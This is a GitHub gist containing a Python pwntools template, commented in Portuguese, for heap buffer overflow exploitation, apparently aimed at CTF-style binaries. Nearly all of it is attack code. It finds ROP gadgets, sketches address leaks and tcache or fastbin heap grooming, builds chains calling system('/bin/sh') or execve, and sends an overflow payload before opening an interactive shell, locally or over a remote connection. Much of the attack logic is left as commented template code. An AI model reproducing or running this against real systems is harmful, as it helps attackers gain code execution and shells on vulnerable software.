Created
November 13, 2025 01:45
-
-
Save marcostolosa/77d24b18b057fe685e957b95ed87bb20 to your computer and use it in GitHub Desktop.
Heap Buffer Overflow Automatic
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| from pwn import * | |
| import sys | |
| import os | |
| # ==================== CONFIGURAÇÃO DO EXPLOIT ==================== | |
| class HeapExploit: | |
| def __init__(self, binary_path, libc_path=None, remote_host=None, remote_port=None): | |
| """ | |
| Inicializa o exploit para heap BOF | |
| :param binary_path: Caminho para o binário vulnerável | |
| :param libc_path: Caminho para libc (opcional, para bypass ASLR) | |
| :param remote_host: Host remoto (para conexão remota) | |
| :param remote_port: Porta remota | |
| """ | |
| self.binary_path = binary_path | |
| self.libc_path = libc_path | |
| self.remote_host = remote_host | |
| self.remote_port = remote_port | |
| # Carrega binário e libc | |
| self.elf = ELF(binary_path) | |
| if libc_path: | |
| self.libc = ELF(libc_path) | |
| # Configura contexto | |
| context.binary = self.elf | |
| context.log_level = 'debug' # Mude para 'info' para menos verbose | |
| # Endereços importantes | |
| self.heap_base = None | |
| self.libc_base = None | |
| self.PIE_base = None | |
| # ROP e gadgets | |
| self.rop = None | |
| self.gadgets = {} | |
| def connect(self): | |
| """Estabelece conexão (local ou remoto)""" | |
| if self.remote_host and self.remote_port: | |
| io = remote(self.remote_host, self.remote_port) | |
| log.success(f"Conectado remoto: {self.remote_host}:{self.remote_port}") | |
| else: | |
| io = process(self.binary_path) | |
| log.success(f"Processo local iniciado: PID {io.pid}") | |
| # Para debugging com GDB | |
| # gdb.attach(io, ''' | |
| # break main | |
| # continue | |
| # ''') | |
| return io | |
| def find_gadgets(self): | |
| """Encontra automaticamente gadgets usando ROP""" | |
| log.info("Buscando gadgets...") | |
| self.rop = ROP(self.elf) | |
| # Gadgets comuns | |
| try: | |
| self.gadgets['pop_rdi'] = self.rop.find_gadget(['pop rdi', 'ret'])[0] | |
| self.gadgets['pop_rsi'] = self.rop.find_gadget(['pop rsi', 'ret'])[0] | |
| self.gadgets['pop_rdx'] = self.rop.find_gadget(['pop rdx', 'ret'])[0] | |
| self.gadgets['pop_rax'] = self.rop.find_gadget(['pop rax', 'ret'])[0] | |
| self.gadgets['syscall'] = self.rop.find_gadget(['syscall', 'ret'])[0] | |
| self.gadgets['ret'] = self.rop.find_gadget(['ret'])[0] | |
| except: | |
| log.warning("Alguns gadgets não encontrados no binário") | |
| # Se libc disponível, busca gadgets lá também | |
| if hasattr(self, 'libc'): | |
| libc_rop = ROP(self.libc) | |
| self.libc_gadgets = { | |
| 'pop_rdi': libc_rop.find_gadget(['pop rdi', 'ret'])[0], | |
| 'pop_rsi': libc_rop.find_gadget(['pop rsi', 'ret'])[0], | |
| 'pop_rdx': libc_rop.find_gadget(['pop rdx', 'ret'])[0], | |
| } | |
| log.success("Gadgets encontrados!") | |
| return self.gadgets | |
| def leak_addresses(self, io): | |
| """Lógica para leak de endereços (heap, libc, PIE)""" | |
| log.info("Iniciando leak de endereços...") | |
| # ==== TEMPLATE: ADAPTE PARA SEU CENARIO ==== | |
| ''' | |
| Exemplo comum: Use-after-free para leak | |
| - Aloca chunk | |
| - Libera chunk | |
| - Realoca para sobrescrever | |
| - Lê conteúdo para leak | |
| ''' | |
| # Envia payload para leak | |
| # payload = b"A" * offset | |
| # io.sendafter(b">", payload) | |
| # Recebe leak | |
| # response = io.recvline() | |
| # leaked_addr = u64(response.ljust(8, b'\x00')) | |
| # Calcula bases | |
| # self.libc_base = leaked_addr - 0x1ebbe0 # Exemplo offset | |
| # self.heap_base = leaked_addr - 0x10 # Exemplo offset | |
| # log.info(f"libc base: {hex(self.libc_base)}") | |
| # log.info(f"heap base: {hex(self.heap_base)}") | |
| # Retorna True se leak funcionar | |
| return True | |
| def heap_grooming(self, io): | |
| """Prepara o heap (grooming) para o ataque""" | |
| log.info("Iniciando heap grooming...") | |
| # ==== TEMPLATE: ADAPTE PARA SEU CENARIO ==== | |
| ''' | |
| Técnicas comuns: | |
| - Tcache poisoning | |
| - Fastbin attack | |
| - House of Spirit | |
| - Unsorted bin attack | |
| ''' | |
| # Exemplo: Tcache poisoning | |
| # Aloca chunks de tamanhos específicos | |
| # for i in range(7): | |
| # allocate(io, 0x100, b"A"*8) # Fill tcache | |
| # Libera chunks para encher tcache | |
| # for i in range(7): | |
| # free(io, i) | |
| log.success("Heap grooming completo") | |
| def build_rop_chain(self): | |
| """Constrói ROP chain automatizada""" | |
| log.info("Construindo ROP chain...") | |
| chain = b"" | |
| # ==== TEMPLATE: ADAPTE PARA SEU OBJETIVO ==== | |
| ''' | |
| Objetivos comuns: | |
| - Execve("/bin/sh", NULL, NULL) | |
| - system("/bin/sh") | |
| - One_gadget | |
| ''' | |
| if hasattr(self, 'libc_base') and self.libc_base: | |
| # Usa libc (bypass ASLR) | |
| libc.address = self.libc_base | |
| # Opcao 1: system("/bin/sh") | |
| # binsh = next(libc.search(b"/bin/sh")) | |
| # chain += p64(self.libc_gadgets['pop_rdi']) | |
| # chain += p64(binsh) | |
| # chain += p64(libc.sym['system']) | |
| # Opcao 2: execve("/bin/sh", NULL, NULL) | |
| # binsh = next(libc.search(b"/bin/sh")) | |
| # chain += p64(self.libc_gadgets['pop_rdi']) | |
| # chain += p64(binsh) | |
| # chain += p64(self.libc_gadgets['pop_rsi']) | |
| # chain += p64(0) | |
| # chain += p64(self.libc_gadgets['pop_rdx']) | |
| # chain += p64(0) | |
| # chain += p64(libc.sym['execve']) | |
| # Opcao 3: one_gadget (mais fácil) | |
| # one_gadget = self.libc_base + 0xe3b2e # Exemplo offset | |
| # chain = p64(one_gadget) | |
| pass | |
| else: | |
| # Sem libc - usar gadgets do binário apenas | |
| # Opcao: ret2plt + dlresolve | |
| log.warning("Sem libc base, opções limitadas") | |
| return chain | |
| def exploit(self): | |
| """Método principal do exploit""" | |
| io = self.connect() | |
| # 1. Encontra gadgets | |
| self.find_gadgets() | |
| # 2. Leak de endereços (se necessário) | |
| if not self.leak_addresses(io): | |
| log.error("Falha no leak!") | |
| return False | |
| # 3. Heap grooming | |
| self.heap_grooming(io) | |
| # 4. Constrói payload final | |
| rop_chain = self.build_rop_chain() | |
| # 5. Envia payload | |
| payload = self.create_final_payload(rop_chain) | |
| log.info("Enviando payload...") | |
| # io.sendlineafter(b">", payload) | |
| # 6. Shell interativa | |
| log.success("Exploit enviado! Obtendo shell...") | |
| io.interactive() | |
| return True | |
| def create_final_payload(self, rop_chain): | |
| """Cria payload final com overflow""" | |
| # ==== TEMPLATE: ADAPTE OFFSETS E ESTRUTURA ==== | |
| ''' | |
| Exemplo de estrutura: | |
| [ padding ] + [ overwrite target ] + [ rop chain ] | |
| ''' | |
| offset = 40 # Tamanho do buffer + saved RBP | |
| padding = b"A" * offset | |
| # Alvo do overwrite (ex: __malloc_hook, __free_hook, got, etc) | |
| target_addr = 0xdeadbeef | |
| # Cria payload | |
| payload = padding | |
| payload += p64(target_addr) | |
| payload += rop_chain | |
| log.info(f"Payload size: {len(payload)} bytes") | |
| return payload | |
| # ==================== FUNÇÕES AUXILIARES ==================== | |
| def allocate(io, size, data=b"AAAA"): | |
| """Aloca chunk no heap""" | |
| io.sendlineafter(b">", b"1") | |
| io.sendlineafter(b"Size:", str(size).encode()) | |
| io.sendafter(b"Data:", data) | |
| log.info(f"Alocado: size={size}") | |
| def free(io, index): | |
| """Libera chunk""" | |
| io.sendlineafter(b">", b"2") | |
| io.sendlineafter(b"Index:", str(index).encode()) | |
| log.info(f"Liberado: index={index}") | |
| def edit(io, index, data): | |
| """Edita chunk (heap overflow aqui)""" | |
| io.sendlineafter(b">", b"3") | |
| io.sendlineafter(b"Index:", str(index).encode()) | |
| io.sendafter(b"Data:", data) | |
| log.info(f"Editado: index={index}, size={len(data)}") | |
| def show(io, index): | |
| """Mostra conteúdo de chunk (para leaks)""" | |
| io.sendlineafter(b">", b"4") | |
| io.sendlineafter(b"Index:", str(index).encode()) | |
| return io.recvline() | |
| # ==================== USO ==================== | |
| if __name__ == "__main__": | |
| # Configurações | |
| LOCAL_BIN = "./heap_challenge" # Seu binário aqui | |
| LIBC_PATH = "./libc.so.6" # Se tiver libc específica | |
| REMOTE_HOST = "challenge.ctf.com" | |
| REMOTE_PORT = 9999 | |
| # Escolha: local ou remoto | |
| USE_REMOTE = False # Mude para True para conectar remoto | |
| try: | |
| if USE_REMOTE: | |
| exploit = HeapExploit( | |
| binary_path=LOCAL_BIN, | |
| libc_path=LIBC_PATH, | |
| remote_host=REMOTE_HOST, | |
| remote_port=REMOTE_PORT | |
| ) | |
| else: | |
| exploit = HeapExploit( | |
| binary_path=LOCAL_BIN, | |
| libc_path=LIBC_PATH | |
| ) | |
| # Executa exploit | |
| exploit.exploit() | |
| except Exception as e: | |
| log.error(f"Erro: {e}") | |
| sys.exit(1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment